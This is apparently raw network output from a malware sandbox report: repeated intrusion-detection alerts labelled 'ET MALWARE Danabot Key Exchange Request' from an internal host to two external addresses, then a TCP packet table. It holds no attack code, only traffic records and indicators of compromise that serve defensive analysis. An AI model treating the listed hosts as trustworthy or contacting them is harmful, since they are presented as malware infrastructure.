2025-01-13T20:24:06.953078+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50353	194.32.76.77	443	TCP
2025-01-13T20:24:08.015118+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50354	45.76.251.57	443	TCP
2025-01-13T20:24:09.089842+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50355	194.32.76.77	443	TCP
2025-01-13T20:24:10.151117+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50356	45.76.251.57	443	TCP
2025-01-13T20:24:13.432688+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50361	194.32.76.77	443	TCP
2025-01-13T20:24:14.486677+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50362	45.76.251.57	443	TCP
2025-01-13T20:24:15.552062+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50363	194.32.76.77	443	TCP
2025-01-13T20:24:16.619126+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50364	45.76.251.57	443	TCP
2025-01-13T20:24:21.997547+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50369	194.32.76.77	443	TCP
2025-01-13T20:24:23.049803+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50370	45.76.251.57	443	TCP
2025-01-13T20:24:23.092225+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50371	194.32.76.77	443	TCP
2025-01-13T20:24:23.134597+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50372	45.76.251.57	443	TCP
2025-01-13T20:24:30.510015+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50377	194.32.76.77	443	TCP
2025-01-13T20:24:31.578901+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50378	45.76.251.57	443	TCP
2025-01-13T20:24:32.639796+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50379	194.32.76.77	443	TCP
2025-01-13T20:24:33.700768+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50380	45.76.251.57	443	TCP
2025-01-13T20:24:35.974018+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50385	194.32.76.77	443	TCP
2025-01-13T20:24:37.026914+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50386	45.76.251.57	443	TCP
2025-01-13T20:24:38.089134+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50387	194.32.76.77	443	TCP
2025-01-13T20:24:39.152177+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50388	45.76.251.57	443	TCP
2025-01-13T20:24:44.447122+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50393	194.32.76.77	443	TCP
2025-01-13T20:24:44.483034+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50394	45.76.251.57	443	TCP
2025-01-13T20:24:44.519352+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50395	194.32.76.77	443	TCP
2025-01-13T20:24:44.567987+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50396	45.76.251.57	443	TCP
2025-01-13T20:24:51.920714+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50401	194.32.76.77	443	TCP
2025-01-13T20:24:52.983127+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50402	45.76.251.57	443	TCP
2025-01-13T20:24:54.065676+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50403	194.32.76.77	443	TCP
2025-01-13T20:24:55.123477+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50404	45.76.251.57	443	TCP
2025-01-13T20:24:57.389829+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50409	194.32.76.77	443	TCP
2025-01-13T20:24:58.447862+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50410	45.76.251.57	443	TCP
2025-01-13T20:24:59.515023+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50411	194.32.76.77	443	TCP
2025-01-13T20:25:00.581957+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50412	45.76.251.57	443	TCP
2025-01-13T20:25:05.908443+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50417	194.32.76.77	443	TCP
2025-01-13T20:25:05.963485+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50418	45.76.251.57	443	TCP
2025-01-13T20:25:06.009018+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50419	194.32.76.77	443	TCP
2025-01-13T20:25:06.050800+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50420	45.76.251.57	443	TCP
2025-01-13T20:25:13.354159+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50425	194.32.76.77	443	TCP
2025-01-13T20:25:14.415003+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50426	45.76.251.57	443	TCP
2025-01-13T20:25:15.466121+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50427	194.32.76.77	443	TCP
2025-01-13T20:25:16.529564+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50428	45.76.251.57	443	TCP
2025-01-13T20:25:19.754728+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50433	194.32.76.77	443	TCP
2025-01-13T20:25:20.845693+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50434	45.76.251.57	443	TCP
2025-01-13T20:25:21.900935+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50435	194.32.76.77	443	TCP
2025-01-13T20:25:22.973628+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50436	45.76.251.57	443	TCP
2025-01-13T20:25:28.267094+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50441	194.32.76.77	443	TCP
2025-01-13T20:25:28.313680+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50442	45.76.251.57	443	TCP
2025-01-13T20:25:28.361448+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50443	194.32.76.77	443	TCP
2025-01-13T20:25:28.421225+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50444	45.76.251.57	443	TCP
2025-01-13T20:25:35.773743+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50452	194.32.76.77	443	TCP
2025-01-13T20:25:36.842967+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50453	45.76.251.57	443	TCP
2025-01-13T20:25:37.900452+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50454	194.32.76.77	443	TCP
2025-01-13T20:25:38.971056+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50455	45.76.251.57	443	TCP
2025-01-13T20:25:43.259077+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50460	194.32.76.77	443	TCP
2025-01-13T20:25:44.329095+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50461	45.76.251.57	443	TCP
2025-01-13T20:25:45.388046+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50462	194.32.76.77	443	TCP
2025-01-13T20:25:46.441337+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50463	45.76.251.57	443	TCP
2025-01-13T20:25:51.760317+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50468	194.32.76.77	443	TCP
2025-01-13T20:25:51.822716+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50469	45.76.251.57	443	TCP
2025-01-13T20:25:51.864617+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50470	194.32.76.77	443	TCP
2025-01-13T20:25:51.916196+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50471	45.76.251.57	443	TCP
2025-01-13T20:25:59.260999+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50476	194.32.76.77	443	TCP
2025-01-13T20:26:00.334930+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50477	45.76.251.57	443	TCP
2025-01-13T20:26:01.401136+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50478	194.32.76.77	443	TCP
2025-01-13T20:26:02.471031+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50479	45.76.251.57	443	TCP
2025-01-13T20:26:05.800298+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50484	194.32.76.77	443	TCP
2025-01-13T20:26:06.873058+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50485	45.76.251.57	443	TCP
2025-01-13T20:26:07.941727+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50486	194.32.76.77	443	TCP
2025-01-13T20:26:09.001780+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50487	45.76.251.57	443	TCP
2025-01-13T20:26:14.357221+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50492	194.32.76.77	443	TCP
2025-01-13T20:26:15.413950+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50493	45.76.251.57	443	TCP
2025-01-13T20:26:15.458655+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50494	194.32.76.77	443	TCP
2025-01-13T20:26:15.504575+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50495	45.76.251.57	443	TCP
2025-01-13T20:26:22.871014+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50500	194.32.76.77	443	TCP
2025-01-13T20:26:23.930685+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50501	45.76.251.57	443	TCP
2025-01-13T20:26:24.989634+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50502	194.32.76.77	443	TCP
2025-01-13T20:26:26.043654+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50503	45.76.251.57	443	TCP
2025-01-13T20:26:28.315789+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50508	194.32.76.77	443	TCP
2025-01-13T20:26:29.381302+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50509	45.76.251.57	443	TCP
2025-01-13T20:26:30.457362+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50510	194.32.76.77	443	TCP
2025-01-13T20:26:31.502261+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50511	45.76.251.57	443	TCP
2025-01-13T20:26:37.853852+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50516	194.32.76.77	443	TCP
2025-01-13T20:26:37.921807+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50517	45.76.251.57	443	TCP
2025-01-13T20:26:37.971944+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50518	194.32.76.77	443	TCP
2025-01-13T20:26:38.021842+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50519	45.76.251.57	443	TCP
2025-01-13T20:26:45.372324+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50524	194.32.76.77	443	TCP
2025-01-13T20:26:46.453491+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50525	45.76.251.57	443	TCP
2025-01-13T20:26:47.530739+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50526	194.32.76.77	443	TCP
2025-01-13T20:26:48.594826+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50527	45.76.251.57	443	TCP
2025-01-13T20:26:51.859266+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50532	194.32.76.77	443	TCP
2025-01-13T20:26:52.907366+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50533	45.76.251.57	443	TCP
2025-01-13T20:26:53.967293+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50534	194.32.76.77	443	TCP
2025-01-13T20:26:55.033796+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50535	45.76.251.57	443	TCP
2025-01-13T20:27:00.354917+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50540	194.32.76.77	443	TCP
2025-01-13T20:27:00.406787+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50541	45.76.251.57	443	TCP
2025-01-13T20:27:00.450814+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50542	194.32.76.77	443	TCP
2025-01-13T20:27:01.514900+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50543	45.76.251.57	443	TCP
2025-01-13T20:27:08.872933+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50548	194.32.76.77	443	TCP
2025-01-13T20:27:09.931980+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50549	45.76.251.57	443	TCP
2025-01-13T20:27:10.997138+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50550	194.32.76.77	443	TCP
2025-01-13T20:27:12.062823+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50551	45.76.251.57	443	TCP
2025-01-13T20:27:14.321035+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50556	194.32.76.77	443	TCP
2025-01-13T20:27:15.392007+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50557	45.76.251.57	443	TCP
2025-01-13T20:27:16.456889+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50558	194.32.76.77	443	TCP
2025-01-13T20:27:17.512984+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50559	45.76.251.57	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 20:17:58.549551010 CET	49675	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:17:58.549578905 CET	49674	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:17:58.674537897 CET	49673	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:02.658304930 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:02.658349991 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:02.658421993 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:02.663012028 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:02.663028955 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.387206078 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.387270927 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.434943914 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.434984922 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.435480118 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.435908079 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.479579926 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.527329922 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.751013041 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.751081944 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.751133919 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.751163960 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.751211882 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.751231909 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.751231909 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.751260042 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.751267910 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.751327038 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.751348019 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.751404047 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.755069971 CET	49705	443	192.168.2.5	149.154.167.99
Jan 13, 2025 20:18:03.755085945 CET	443	49705	149.154.167.99	192.168.2.5
Jan 13, 2025 20:18:03.773176908 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:03.773271084 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:03.773614883 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:03.773823977 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:03.773854017 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:04.662659883 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:04.662875891 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:04.674057007 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:04.674110889 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:04.674480915 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:04.674541950 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:04.675223112 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:04.715322971 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.250539064 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.250608921 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.250632048 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.250648022 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.250689030 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.250699043 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.254241943 CET	49706	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.254256010 CET	443	49706	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.255909920 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.256002903 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.256098032 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.256280899 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.256318092 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.925281048 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.925563097 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.926326036 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.926353931 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:05.941515923 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:05.941529036 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:06.610625029 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:06.610799074 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:06.610930920 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:06.610930920 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:06.611217976 CET	49709	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:06.611258984 CET	443	49709	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:06.612833977 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:06.612924099 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:06.613023043 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:06.613166094 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:06.613204002 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:07.263066053 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:07.263156891 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:07.283273935 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:07.283330917 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:07.368444920 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:07.368478060 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.130587101 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.130645990 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.130702972 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.130702972 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.130773067 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.130811930 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.130831003 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.130862951 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.130975008 CET	49714	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.131006956 CET	443	49714	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.133107901 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.133156061 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.133229971 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.133479118 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.133490086 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.158751011 CET	49675	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:08.158767939 CET	49674	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:08.283849955 CET	49673	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:08.935524940 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.935791969 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.936716080 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.936723948 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:08.945213079 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:08.945218086 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.623274088 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.623346090 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.623382092 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.623449087 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.623457909 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.623500109 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.623542070 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.623595953 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.624456882 CET	49715	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.624473095 CET	443	49715	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.631999016 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.632092953 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.632174015 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.632571936 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:09.632606030 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:09.957448006 CET	443	49704	23.1.237.91	192.168.2.5
Jan 13, 2025 20:18:09.957587957 CET	49704	443	192.168.2.5	23.1.237.91
Jan 13, 2025 20:18:10.310955048 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:10.311074972 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:10.347724915 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:10.347778082 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:10.368617058 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:10.368670940 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:10.998991966 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:10.999094963 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:10.999093056 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:10.999147892 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:10.999399900 CET	49716	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:10.999437094 CET	443	49716	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:11.014166117 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:11.014225006 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:11.014331102 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:11.014592886 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:11.014625072 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:11.707036972 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:11.707138062 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:11.708661079 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:11.708688974 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:11.710225105 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:11.710237980 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:11.710310936 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:11.710330009 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.025321960 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.025379896 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.025468111 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.025705099 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.025723934 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.391227961 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.391386032 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.391454935 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.391493082 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.391529083 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.391580105 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.392674923 CET	49718	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.392728090 CET	443	49718	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.691492081 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.691562891 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.696557045 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.696563959 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:12.698173046 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:12.698179007 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:13.538583994 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:13.538669109 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:13.538698912 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:13.538747072 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:13.538763046 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:13.538811922 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:13.539798021 CET	49719	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:13.539819956 CET	443	49719	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:14.710181952 CET	49723	443	192.168.2.5	172.217.18.100
Jan 13, 2025 20:18:14.710226059 CET	443	49723	172.217.18.100	192.168.2.5
